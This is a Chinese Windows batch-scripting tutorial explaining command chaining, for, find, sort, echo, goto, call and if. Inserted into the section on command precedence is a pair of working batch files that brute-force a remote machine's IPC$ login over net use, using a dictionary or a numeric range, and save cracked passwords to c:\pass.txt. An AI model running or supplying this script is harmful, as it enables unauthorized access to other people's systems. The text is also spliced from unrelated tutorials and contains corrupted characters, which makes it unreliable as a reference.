給出兩個更好研究優先級(同時也是更難理解)的腳本,仔細研究它們的區別,以便徹底理解各種命令的優先級順序,對以后自己利用這些命令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:
例二十一:

@echo off dir a.ttt /a & dir a.txt || exit

例二十二:

@echo off dir a.ttt /a && dir a.txt || exit

在網上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對for等命令介紹時就一個for /? > a.txt & start a.txt完事了(當然這一點上我不能說人家什么,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以后將講到的用批處理好啊作注冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因為他們才是批處理的精華和靈魂,能否正確利用好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發專門有針對性的學習,但有關這幾個命令的問題,卻是不容易精通掌握的----他們之間的關系太復雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
2、如果用數字破解:pass.bat 起始數 步長 結束數 主機 用戶名
密碼破解出來之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件

@echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解結果: >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的說2 :大棒槌是我的說1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的說2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 將下列代碼存為test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令執行返回結果,net use成功返回0,失敗返回2 :answer0 echo 遠程主機:"%1" >>c:\pass.txt echo 用 戶:"%3" >>c:\pass.txt echo 密 碼:%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2

?

17、For

批處理程序中使用 for 命令,請使用以下語法:for %%variable in (set) docommand [command-parameters]
命令提示符下使用 for 命令,請使用以下語法:for %variable in (set) do command [command-parameters]

參數解釋:
%%variable 或 %variable:代表可替換的參數。for 命令使用在 set 中指定的每個文本字符串替換 %%variable(或 %variable),直到此命令(在command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執行 for 命令。使用 %variable 通過命令提示符執行 for 命令。變量名區分大小寫。
(set):指定要用指定的命令處理的一個或多個文件或文本字符串。需要括號。
command:指定要在指定的 set 所包含的每個文件上執行的命令。
command-parameters:指定要用于指定命令(如果指定的命令要使用任何參數或開關)的任何參數或開關。如果啟用了命令擴展(Windows 2000 中的默認設置),將支持 for 命令的其他形式。

?

For 命令的其他形式

如果啟用了命令擴展,將支持如下 for 命令的其他格式:


只限于目錄
? ? ? ? for /D [%% | %]variable in (set) docommand [command-parameters]
? ? ? ? 如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。


遞歸
? ? ? ? for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
? ? ? ? 進入根目錄樹[drive:]path,在樹的每個目錄中執行 for 語句。如果在 /R 后沒有指定目錄,則假定為當前目錄。
? ? ? ? 如果 set 只是一個句號 (.) 字符,則只列舉目錄樹。


迭代
? ? ? ? for /L [%% | %]variable in (start,step,end) do command [command-parameters]
? ? ? ? 集合是一系列按步長量劃分的、從頭到尾的數字。
? ? ? ? 示例 :(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (54 3 2 1)。

?

文件解析

? ? ? ? for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
? ? ? ? for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
? ? ? ? for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]

或者,如果出現 usebackq 選項:

? ? ? ? for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
? ? ? ? for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
? ? ? ? for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]

filenameset 參數指定一個或多個文件名稱。在繼續到 filenameset 中的下一個文件之前,每個文件都會被打開、讀取和處理。

過程由讀取文件、分成獨立的文本行及然后將每行解析成零個或更多個令牌組成。然后使用設置為找到的一個或多個令牌字符串的變量值(或多個值)集合調用 for 循環體。默認情況下,/F 傳遞每個文件每一行的第一個空白分隔符號。

跳過空行。通過指定可選的“options”參數可以覆蓋默認的解析行為。這是一個引用字符串,它包含一個或多個關鍵字
以指定不同的解析選項。關鍵字是:

?

關鍵字 說明
eol=c? ? ? ? ? ? ? ? ? ? ?指定行尾注釋字符(只一個字符)
skip=n? ? ? ? ? ? ? ? ? ?指定在文件的開頭跳過的行數。
delims=xxx? ? ? ? ? ? 指定定界符集合。這將替換空格和制表符的默認分隔符集。
tokens=x,y,m-n?????指定將令牌從每行傳遞到每個反復的正文。這將導致分配其他變量名。
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? m-n 格式是一個范圍,指定從mth 到 nth 的令牌。
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 如果在令牌 = 字符串中最后一個字符是星號,則將分配附加的變量,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 并在解析最后一個令牌后在行上接收剩余的文本。
usebackq??????????????指定將右引號字符串作為命令執行,單引號字符串是文字字符串命令,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 您可以使用雙引號包括 filenameset 中的文件名。


變量替換

此外,已經增強了 for 變量引用的替換修改程序。現在可以使用下列可選的語法(對于任何變量 I):

變量(使用修改程序) ? 說明
%~I? ? ? ? ?展開刪除了周圍的任何引號 (") 的 %I
%~fI? ? ? ? 將 %I 展開到完全合格的路徑名
%~dI ? ? ? 只將 %I 展開到驅動器號
%~pI ? ? ? 只將 %I 展開到路徑
%~nI ? ? ? 只將 %I 展開到文件名
%~xI ? ? ? 只將 %I 展開到文件擴展名
%~sI ? ? ? 展開路徑以只包含短名稱
%~aI ? ? ? 將 %I 展開到文件的文件屬性
%~tI? ? ? ? 將 %I 展開到文件的日期/時間
%~zI ? ? ? 將 %I 展開到文件大小
%~$PATH:I? ? ? ? ?搜索 PATH 環境變量所列出的目錄,并將 %I 展開開到第一個找到結果的全部合格名稱。如果沒有定義環境變量名,或搜索后沒有找到文件,則此修改程序將擴展為空字符串。
?

修改程序可以合并以獲得復雜的結果:

變量(使用合并的修改程序) 說明
%~dpI? ? ?只將 %I 展開到驅動器號和路徑
%~nxI? ? ?只將 %I 展開到文件名和擴展名
%~fsI? ? ? 將 %I 展開到只包含短名稱的完整路徑名
%~dp$PATH:I? ? ?在 PATH 環境變量所列出的目錄中搜索 %I,并展開到第一個找到結果的驅動器號和路徑
%~ftzaI? ? ? ? ? ? ? ?將 %I 擴展到與 dir 相似的輸出行

注意

在上述范例中,%I 和 PATH 可被其他有效值替換。通過有效的 for 變量名終止 %~ 語法。
使用大寫變量名(例如 %I)可以使代碼更具可讀性,并且避免與不區分大小寫的修改程序混淆。

Shift

更改批處理文件中可替換參數的位置。

shift
啟用命令擴展(Windows 2000 中的默認設置)后,shift 命令支持 /n 開關,該開關通知命令在第 n 個參數處開始更改,n 可以是從 0 到 8 的任何一個值。例如,

SHIFT /2

將 %3 改為 %2,將 %4 改為 %3 等等,而 %0 和 %1 保持不變。

篩選器命令

篩選器命令可以幫助您排序、查看和選擇部分命令輸出結果。

通過篩選器命令傳遞信息

篩選器命令可以劃分、重排以及提取通過的部分信息好啊作。Windows 2000 有三個篩選器命令:

? ? ? ? more 命令每次顯示一屏文件內容或命令輸出。
? ? ? ? find 命令在文件和命令輸出中搜索指定字符。
? ? ? ? sort 命令按字母順序排列文件和命令輸出。

要將輸入從文件發送到篩選器命令,請使用小于符號 (<)。如果要篩選器命令從其他命令獲得輸入,請使用管道 (|)。

使用 more 命令來控制屏幕顯示

more 命令每次一屏地顯示文件的內容或命令輸出。例如,下面的 more 命令每次顯示一屏 List.txt 文件的內容:
? ? ? ? more < list.txt
信息顯示一屏后,會出現字“More”。要繼續顯示下一屏,請按鍵盤上任意鍵。要停止命令且不查看詳細信息,請按CTRL+C 鍵。
如果使用產生多屏輸出的命令,more 將十分有用。例如,假設定要查看硬盤的目錄樹。如果 Windows 2000 不能將目錄在一屏內全部顯示出來,請使用帶管道號 (|) 和 more 命令的 tree 命令,如下例所示:
? ? ? ? tree c:\ | more
tree 命令的第一屏輸出被顯示,后跟詞“More”。Windows 2000 暫停,直到用戶按鍵盤上的任意鍵為止(PAUSE 鍵除外)。

?

使用 find 命令搜索文本

find 命令在一個或多個文件中搜索指定文本。Windows 2000 顯示每個包含該文本的行。find 命令可以用作篩選器命令或者標準的 Windows 2000 命令。有關將 find 用作標準的 Windows 2000 命令的信息,請單擊“相關主題”列表中的find。

要將 find 當作篩選器命令使用,請包含小于符號 (<) 和搜索的文件名。當輸入文件名時,請記住搜索要區分大小寫。
例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串:
? ? ? ? find "Pacific Rim" < trade.txt
要保存 find 命令的輸出而不是顯示輸出,請使用大于號 (>) 和要存儲輸出的文件名。例如,下面的命令查找文件
Trade.txt 中所有的“Pacific Rim”字符串,并將結果保存在 Nwtrade.txt 文件中:
? ? ? ? find "Pacific Rim" < trade.txt > nwtrade.txt
?

對文本文件排序

sort 命令按字母順序排列文本文件或命令的輸出。例如,可以使用以下命令對 List.txt 文件的內容進行排序。

并在屏幕上顯示結果:sort < list.txt

在此范例中,sort 命令對 List.txt 文件的行進行排序并顯示結果,但不更改文件。要保存 sort 命令的輸出而不是顯示輸出,請在命令中包含大于號 (>) 和文件名。例如,可以使用以下命令對 List.txt 文件的行按字母順序排序,并將結果存到 Alphlist.txt 文件中:sort < list.txt > alphlist.txt
要排序命令的輸出,請鍵入后面帶有管道 (|) 和 sort 命令的命令。例如,下面的命令對 find 命令的輸出結果進行排序:
find "Jones" maillst.txt | sort
在鍵入該命令時,Windows 2000 按字母順序列出在其中出現“Jones”的行。
?

帶重定向符的合并命令

可以將篩選器命令、其他命令和文件名合并以生成自定義命令。例如,可以使用以下命令存儲包含“LOG”字符串的文件名:
? ? ? ? dir /b | find "LOG" > loglist.txt
Windows 2000 通過 find 過濾器命令發送 dir 命令的輸出并將包含字符串“Log”的文件名存儲在 Loglist.txt 文件中。將結果存儲為文件名列表(如,A.log、Logdat.svd 和 Mylog.bat)。

要在相同命令中使用多個篩選器,請使用管道 (|) 分隔篩選器。例如,下面的命令搜索 C 盤上的每個目錄以查找包含“Log”字符串的文件名,并且每次顯示一屏:
? ? ? ? dir c:\ /s /b | find "LOG" | more
因為使用管道 (|),Windows 2000 通過 find 命令發送 dir 命令的輸出結果。find 命令只選擇包含字符串“Log”的文件名。more 命令每次一屏地顯示 find 命令選擇的文件名。

?

More

每次顯示一個輸出屏幕。該命令通常用于查看長文件??梢詥为毷褂么嗣?#xff0c;或者使用它控制其他命令的輸出,例如
type 命令。當顯示填充可用的查看區域時將出現 more 提示,用戶可以輸入許多命令來控制查看文件其余部分的方式。

command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]

參數
[drive:][path] filename ? ? 指定要顯示的文件。
command name ? ? 指定將顯示其輸出的命令。
/c ? ? 顯示頁面前清除屏幕。
/p ? ? 擴展換頁符。
/s ? ? 將多個空白行更改為一個空白行。
/tn ? ? 將制表位更改為 n 個空格
+n ? ? 顯示由 n 指定的行開始的第一個文件。
files ? ? 指定要顯示的文件列表。用空格分隔文件名。
?

More 子命令

以下命令在 more 提示 (-- More --) 下接受。

關鍵字? ? ? ? ? ? ?動作
space? ? ? ? ?顯示下一頁。
ENTER? ? ? 顯示下一行。
F? ? ? ? ? ? ? ? 顯示下一個文件。
q? ? ? ? ? ? ? ? 退出。
?? ? ? ? ? ? ? ? 顯示可用命令。
=? ? ? ? ? ? ? ? 顯示行號。
P n? ? ? ? ? ? ?顯示以下 n 行。
S n? ? ? ? ? ? ?跳過下面 n 行。
Find? ? ? ? ? ? 在一個文件或多個文件中搜索指定的文本字符串。

當搜索到指定的文件后,find 將顯示出包含指定字符串的所有行。
? ? ? ? find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
參數
? ? ? ? /v???? ? ? ?顯示未包含指定字符串的所有行。
? ? ? ? /c???? ? ? ?只顯示包含指定字符串的行數。
? ? ? ? /n???? ? ? ?將文件行號置于每行開頭。
? ? ? ? /I???? ? ? ?指定搜索不區分大小寫。
? ? ? ? "string"????指定要搜索的字符組。必須將 string 的文本包括在引號中。
? ? ? ? [drive:][path] filename????指定要在其中搜索指定字符串的文件的位置和名稱。

?

Sort

讀取輸入、排序數據并將結果寫到屏幕、文件和其他設備上。
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]]
[/o [drive3:][path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t
[drive2:][path2]] [/o [drive3:][path3]filename3]

參數

? ? /r? ? ? ? 顛倒排序順序,即從 Z 到 A 排序,然后從 9 到 0 排序。
? ? /+n? ? ?指定字符位置號 n,sort 在此處開始每次比較。
? ? ? ? ? ? ? 例如,/+3 表示每次比較在每行的第三個字符開始。少于 n 個字符的行在其他行之前排序。
? ? ? ? ? ? ? 默認情況下,比較在每行的第一個字符開始。
? ??
? ? /m kilobytes ? ?指定用于排序的主內存數量,按千字節 (KB) 計。使用的內存最小值總是 160 KB。
? ? ? ? ? ? ? ? ? ? 如果指定了內存大小,則無論有多少主內存可用,指定的確切數量(但至少 160 KB)的內存將用于排序。
? ? ? ? ? ? ? ? ? ? 如果輸入輸出均為文件,在沒有指定大小時,默認最大內存大小為可用主內存的 90%,
? ? ? ? ? ? ? ? ? ? 否則為主內存的 45%。默認設置通常會產生最佳的性能。? ??
? ? /l locale ? ? ? 替代由系統默認區域設置定義的字符排序順序;即在安裝 Windows 2000 時選擇的語言和“國家(地區)”。
? ? ? ? ? ? ? ? ? 目前,默認區域設置唯一的備用選項就是“C”區域設置,該區域設置比自然語言排序快,根據二進制編碼對字符排序。
? ??/rec characters ? ?指定記錄或輸入文件的行中的最多字符數(默認值為 4096,最大值為 65535)。? ??
? ? [drive1:][path1]filename1 ? ?指定要排序的文件。如果沒有指定文件名,則對標準輸入排序。
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?指定輸入文件比將同一文件作為標準輸入重定向速度快。? ??
? ? /t [drive2:][path2] ? ? ? ? ?指定保留 sort 命令工作存儲的目錄路徑,防止數據不能裝入主內存。默認為使用系統臨時目錄。? ??
? ? /o [drive3:][path3]filename3 ? ?指定要存儲排序后的輸入的文件。如果沒有指定,數據將寫入標準輸出。
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 指定輸出文件比將同一文件作為標準輸出重定向速度快!

?

?

?

最全的批處理教程

?

第一章 批處理基礎

?

第一節 常用批處理內部命令簡介

?

1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系統設備 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 與 變量延遲(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION啟動或停用延緩環境變量擴展名。) 17、ATTRIB顯示或更改文件屬性

批處理定義:顧名思義,批處理文件是將一系列命令按一定的順序集合為一個可執行的文本文件,其擴展名為BAT或者CMD。這些命令統稱批處理命令?! ?/p>

小知識:可以在鍵盤上按下Ctrl+C組合鍵來強行終止一個批處理的執行過程。

了解了大概意思后,我們正式開始學習.先看一個簡單的例子!

@echo off echo \"歡迎來到非常BAT!\" pause

把上面的3條命令保存為文件test.bat或者test.cmd然后執行,他就會在屏幕上顯示以下二行話:
  歡迎來到非常BAT!
  請按任意鍵繼續. . .

這就是一個簡單批處理文件了,這個批處理文件一共就用了2條命令 \"echo\" 和\"pause\" 還有一個特殊符號\"@\"

  從上面這個簡單的批處理中,我們可以發現其實批處理就是運用一些含有特殊意義的符號和一些完成指定功能的命令組合而成,那么在批處理中有多少這樣的特殊符號和功能命令呢?我們現在就來仔細了解一下一些最常用的!

介紹命令

?

1、REM 和 ::

  REM為注釋命令,一般用來給程序加上注解,該命令后的內容不被執行,但能回顯。
  其次, :: 也可以起到rem 的注釋作用, 而且更簡潔有效;

但有兩點需要注意:
  第一, 任何以冒號:開頭的字符行, 在批處理中都被視作標號, 而直接忽略其后的所有內容。
   有效標號:冒號后緊跟一個以字母數字開頭的字符串,goto語句可以識別。
   無效標號:冒號后緊跟一個非字母數字的一個特殊符號,goto無法識別的標號,可以起到注釋作用,所以 :: 常被用作注釋符號,其實 :+ 也可起注釋作用。
  第二, 與rem 不同的是, ::后的字符行在執行時不會回顯, 無論是否用echo on打開命令行回顯狀態, 因為命令解釋器不認為他是一個有效的命令行,
就此點來看, rem 在某些場合下將比 :: 更為適用; 另外, rem 可以用于 config.sys 文件中。

行內注釋格式:%注釋內容%(不常用,慎用)

?

2、ECHO 和 @

@字符放在命令前將關閉該命令回顯,無論此時echo是否為打開狀態。

echo命令的作用列舉如下:
(1)打開回顯或關閉回顯功能
格式:echo [{ on|off }]
如果想關閉“ECHO OFF”命令行自身的顯示,則需要在該命令行前加上“@”。
(2)顯示當前ECHO設置狀態
格式:echo
(3)輸出提示信息
格式:ECHO 信息內容
上述是ECHO命令常見的三種用法,也是大家熟悉和會用的,但作為DOS命令淘金者你還應該知道下面的技巧:
(4)關閉DOS命令提示符
在DOS提示符狀態下鍵入ECHO OFF,能夠關閉DOS提示符的顯示使屏幕只留下光標,直至鍵入ECHO ON,提示符才會重新出現。
(5)輸出空行,即相當于輸入一個回車
格式:ECHO.
值得注意的是命令行中的“.”要緊跟在ECHO后面中間不能有空格,否則“.”將被當作提示信息輸出到屏幕。
另外“.”可以用,:;”/[\\]+等任一符號替代。
命令ECHO.輸出的回車,經DOS管道轉向可以作為其它命令的輸入,比如echo.|time即相當于在TIME命令執行后給出一個回車。
所以執行時系統會在顯示當前時間后,自動返回到DOS提示符狀態
(6)答復命令中的提問
格式:ECHO 答復語|命令文件名
上述格式可以用于簡化一些需要人機對話的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,
它是通過DOS管道命令把ECHO命令輸出的預置答復語作為人機對話命令的輸入。
下面的例子就相當于在調用的命令出現人機對話時輸入“Y”回車:
C:>ECHO Y|CHKDSK/F
C:>ECHO Y|DEL A :*.*
(7)建立新文件或增加文件內容
格式:ECHO 文件內容>文件名
ECHO 文件內容>>文件名
例如:
C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自動批處理文件
C:>ECHO C:\\CPAV\\BOOTSAFE>>AUTOEXEC.BAT向自動批處理文件中追加內容
C:>TYPE AUTOEXEC.BAT顯示該自動批處理文件
@ECHO OFF
C:\\CPAV\\BOOTSAFE
(8)向打印機輸出打印內容或打印控制碼
格式:ECHO 打印機控制碼>RN
ECHO 打印內容>RN
下面的例子是向M-1724打印機輸入打印控制碼。<Alt>156是按住Alt鍵在小鍵盤鍵入156,類似情況依此類推:
C:>ECHO +156+42+116>RN(輸入下劃線命令FS*t)
C:>ECHO [url=mailto:+155@]+155@>RN[/url](輸入初始化命令ESC@)
C:>ECHO.>RN(換行)
(9)使喇叭鳴響
C:>ECHO ^G
“^G”是在dos窗口中用Ctrl+G或Alt+007輸入,輸入多個^G可以產生多聲鳴響。
使用方法是直接將其加入批處理文件中或做成批處理文件調用。
這里的“^G”屬于特殊符號的使用,請看本文后面的章節

?

3、PAUSE

PAUSE,玩游戲的人都知道,暫停的意思在這里就是停止系統命令的執行并顯示下面的內容。
例:
PAUSE
運行顯示:
請按任意鍵繼續. . .
要顯示其他提示語,可以這樣用:
Echo 其他提示語 pause > nul

?

4、errorlevel

程序返回碼
echo %errorlevel%
每個命令運行結束,可以用這個命令行格式查看返回碼用于判斷剛才的命令是否執行成功默認值為0,
一般命令執行出錯會設 errorlevel 為1

?

5、title

設置cmd窗口的標題
title 新標題#可以看到cmd窗口的標題欄變了

?

6、COLOR

設置默認的控制臺前景和背景顏色。
COLOR [attr]
attr指定控制臺輸出的顏色屬性
顏色屬性由兩個十六進制數字指定 -- 第一個為背景,第二個則為前景。
每個數字可以為以下任何值之一:
0 = 黑色 8 = 灰色
1 = 藍色 9 = 淡藍色
2 = 綠色 A = 淡綠色
3 = 湖藍色 B = 淡淺綠色
4 = 紅色 C = 淡紅色
5 = 紫色 D = 淡紫色
6 = ** E = 淡**
7 = 白色 F = 亮白色
如果沒有給定任何參數,該命令會將顏色還原到 CMD.EXE 啟動時的顏色。
這個值來自當前控制臺窗口、/T 開關或DefaultColor 注冊表值。
如果用相同的前景和背景顏色來執行 COLOR 命令,COLOR 命令會將 ERRORLEVEL 設置為 1。
例如: \"COLOR fc\" 在亮白色上產生亮紅色

?

7、mode 配置系統設備

配置系統設備。
串行口:    MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s]
[to=on|off] [xon=on|off] [odsr=on|off]
[octs=on|off] [dtr=on|off|hs]
[rts=on|off|hs|tg] [idsr=on|off]
設備狀態: MODE [device] [/STATUS]
打印重定向:   MODE LPTn[:]=COMm[:]
選定代碼頁:   MODE CON[:] CP SELECT=yyy
代碼頁狀態:   MODE CON[:] CP [/STATUS]
顯示模式:   MODE CON[:] [COLS=c] [LINES=n]
擊鍵率:  MODE CON[:] [RATE=r DELAY=d]
例:
mode con cols=113 lines=15 color 9f
此命令設置DOS窗口大小:15行,113列
?

8、GOTO 和 :

GOTO會點編程的朋友就會知道這是跳轉的意思。
在批處理中允許以“:XXX”來構建一個標號,然后用GOTO XXX跳轉到標號:XXX處,然后執行標號后的命令。
例:
if {%1}=={} goto noparms
if \"%2\"==\"\" goto noparms
標簽的名字可以隨便起,但是最好是有意義的字符串啦,前加個冒號用來表示這個字符串是標簽,
goto命令就是根據這個冒號(:)來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
例:
@echo off
:start
set /a var+=1
echo %var%
if %var% leq 3 GOTO start
pause
運行顯示:
1
2
3
4

?

9、find

在文件中搜索字符串。
FIND [/V] [/C] [/N] [/OFF[LINE]] \"string\" [[drive:][path]filename[ ...]]
/V顯示所有未包含指定字符串的行。
/C僅顯示包含字符串的行數。
/N顯示行號。
/I搜索字符串時忽略大小寫。
/OFF[LINE] 不要跳過具有脫機屬性集的文件。
\"string\"指定要搜索的文字串,
[drive:][path]filename
指定要搜索的文件。
如果沒有指定路徑,FIND 將搜索鍵入的或者由另一命令產生的文字。
Find常和type命令結合使用
Type [drive:][path]filename | find \"string\" [>tmpfile] #挑選包含string的行
Type [drive:][path]filename | find /v \"string\" #剔除文件中包含string的行
Type [drive:][path]filename | find /c #顯示文件行數
以上用法將去除find命令自帶的提示語(文件名提示)
例:
@echo off
echo 111 >test.txt
echo 222 >>test.txt
find \"111\" test.txt
del test.txt
pause
運行顯示如下:
---------- TEST.TXT
111
請按任意鍵繼續. . .
例:
@echo off
echo 111 >test.txt
echo 222 >>test.txt
type test.txt|find \"111\"
del test.txt
pause
運行顯示如下:
111
請按任意鍵繼續. . .

?

10、start 命令

  批處理中調用外部程序的命令(該外部程序在新窗口中運行,批處理程序繼續往下執行,不理會外部程序的運行狀況),
  如果直接運行外部程序則必須等外部程序完成后才繼續執行剩下的指令
  例:start explorer d:\\
  調用圖形界面打開D盤

?

11、assoc 和 ftype

文件關聯
assoc 設置#39;文件擴展名'關聯,關聯到'文件類型'
ftype 設置#39;文件類型'關聯,關聯到'執行程序和參數'
當你雙擊一個.txt文件時,windows并不是根據.txt直接判斷用 notepad.exe 打開
而是先判斷.txt屬于 txtfile #39;文件類型'
再調用 txtfile 關聯的命令行 txtfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1
可以在\"文件夾選項\"→\"文件類型\"里修改這2種關聯
assoc #顯示所有#39;文件擴展名'關聯
assoc .txt#顯示.txt代表的#39;文件類型',結果顯示 .txt=txtfile
assoc .doc#顯示.doc代表的#39;文件類型',結果顯示 .doc=Word.Document.8
assoc .exe#顯示.exe代表的#39;文件類型',結果顯示 .exe=exefile
ftype #顯示所有#39;文件類型'關聯
ftype exefile #顯示exefile類型關聯的命令行,結果顯示 exefile=\"%1\" %*
assoc .txt=Word.Document.8
設置.txt為word類型的文檔,可以看到.txt文件的圖標都變了
assoc .txt=txtfile
恢復.txt的正確關聯
ftype exefile=\"%1\" %*
恢復 exefile 的正確關聯
如果該關聯已經被破壞,可以運行 command.com ,再輸入這條命令

?

12、pushd 和 popd

切換當前目錄
@echo off
c: cd\\ & md mp3 #在 C:\\ 建立 mp3 文件夾
md d:\\mp4 #在 D:\\ 建立 mp4 文件夾
cd /d d:\\mp4#更改當前目錄為 d:\\mp4
pushd c:\\mp3#保存當前目錄,并切換當前目錄為 c:\\mp3
popd#恢復當前目錄為剛才保存的 d:\\mp4
一般用處不大,在當前目錄名不確定時,會有點幫助。(dos編程中很有用)

?

13、CALL

CALL命令可以在批處理執行過程中調用另一個批處理,當另一個批處理執行完后,再繼續執行原來的批處理
CALL command
調用一條批處理命令,和直接執行命令效果一樣,特殊情況下很有用,比如變量的多級嵌套,見教程后面。
在批處理編程中,可以根據一定條件生成命令字符串,用call可以執行該字符串,見例子。
CALL [drive:][path]filename [batch-parameters]
調用的其它批處理程序。filename 參數必須具有 .bat 或 .cmd 擴展名。
CALL :label arguments
調用本文件內命令段,相當于子程序。被調用的命令段以標簽:label開頭
以命令goto :eof結尾。
另外,批腳本文本參數參照(%0、%1、等等)已如下改變:
批腳本里的 %* 指出所有的參數(如 %1 %2 %3 %4 %5 ...)
批參數(%n)的替代已被增強。您可以使用以下語法:(看不明白的直接運行后面的例子)
%~1 - 刪除引號(\"),擴充 %1
%~f1- 將 %1 擴充到一個完全合格的路徑名
%~d1- 僅將 %1 擴充到一個驅動器號
%~p1- 僅將 %1 擴充到一個路徑
%~n1- 僅將 %1 擴充到一個文件名
%~x1- 僅將 %1 擴充到一個文件擴展名
%~s1- 擴充的路徑指含有短名
%~a1- 將 %1 擴充到文件屬性
%~t1- 將 %1 擴充到文件的日期/時間
%~z1- 將 %1 擴充到文件的大小
%~$PATH : 1 - 查找列在 PATH 環境變量的目錄,并將 %1
擴充到找到的第一個完全合格的名稱。如果環境
變量名未被定義,或者沒有找到文件,此組合鍵會

擴充到空字符串
可以組合修定符來取得多重結果:
%~dp1 - 只將 %1 擴展到驅動器號和路徑
%~nx1 - 只將 %1 擴展到文件名和擴展名
%~dp$PATH:1 - 在列在 PATH 環境變量中的目錄里查找 %1,
并擴展到找到的第一個文件的驅動器號和路徑。
%~ftza1 - 將 %1 擴展到類似 DIR 的輸出行。
在上面的例子中,%1 和 PATH 可以被其他有效數值替換。
%~ 語法被一個有效參數號碼終止。%~ 修定符不能跟 %*使用
注意:參數擴充時不理會參數所代表的文件是否真實存在,均以當前目錄進行擴展
要理解上面的知識,下面的例子很關鍵。
例:
@echo off
Echo 產生一個臨時文件 > tmp.txt
Rem 下行先保存當前目錄,再將c:\\windows設為當前目錄
pushd c:\\windows
Call :sub tmp.txt
Rem 下行恢復前次的當前目錄
Popd
Call :sub tmp.txt
pause
Del tmp.txt
exit
:sub
Echo 刪除引號: %~1
Echo 擴充到路徑: %~f1
Echo 擴充到一個驅動器號: %~d1
Echo 擴充到一個路徑: %~p1
Echo 擴充到一個文件名: %~n1
Echo 擴充到一個文件擴展名: %~x1
Echo 擴充的路徑指含有短名: %~s1
Echo 擴充到文件屬性: %~a1
Echo 擴充到文件的日期/時間: %~t1
Echo 擴充到文件的大小: %~z1
Echo 擴展到驅動器號和路徑:%~dp1
Echo 擴展到文件名和擴展名:%~nx1
Echo 擴展到類似 DIR 的輸出行:%~ftza1
Echo.
Goto :eof
例:
set aa=123456
set cmdstr=echo %aa%
call %cmdstr%
pause
本例中如果不用call,而直接運行%cmdstr%,將顯示結果%aa%,而不是123456

?

14、shift

更改批處理文件中可替換參數的位置。
SHIFT [/n]
如果命令擴展名被啟用,SHIFT 命令支持/n 命令行開關;該命令行開關告訴
命令從第 n 個參數開始移位;n 介于零和八之間。例如:
SHIFT /2
會將 %3 移位到 %2,將 %4 移位到 %3,等等;并且不影響 %0 和 %1。

?

15、IF

IF 條件判斷語句,語法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
下面逐一介紹,更詳細的分析請看后面章節。
(1) IF [NOT] ERRORLEVEL number command
IF ERRORLEVEL這個句子必須放在某一個命令的后面,執行命令后由IF ERRORLEVEL 來判斷命令的返回值。
Number的數字取值范圍0~255,判斷時值的排列順序應該由大到小。返回的值大于等于指定的值時,條件成立
例:
@echo off
dir c:
rem退出代碼為>=1就跳至標題1處執行,>=0就跳至標題0處執行
IF ERRORLEVEL 1 goto 1
IF ERRORLEVEL 0 goto 0
Rem 上面的兩行不可交換位置,否則失敗了也顯示成功。
:0
echo 命令執行成功!
Rem 程序執行完畢跳至標題exit處退出
goto exit
:1
echo 命令執行失敗!
Rem 程序執行完畢跳至標題exit處退出
goto exit
:exit
pause
運行顯示:命令執行成功!
(2) IF [NOT] string1==string2 command
string1和string2都為字符的數據,英文內字符的大小寫將看作不同,這個條件中的等于號必須是兩個(絕對相等的意思)
條件相等后即執行后面的command
檢測當前變量的值做出判斷,為了防止字符串中含有空格,可用以下格式
if [NOT] {string1}=={string2} command
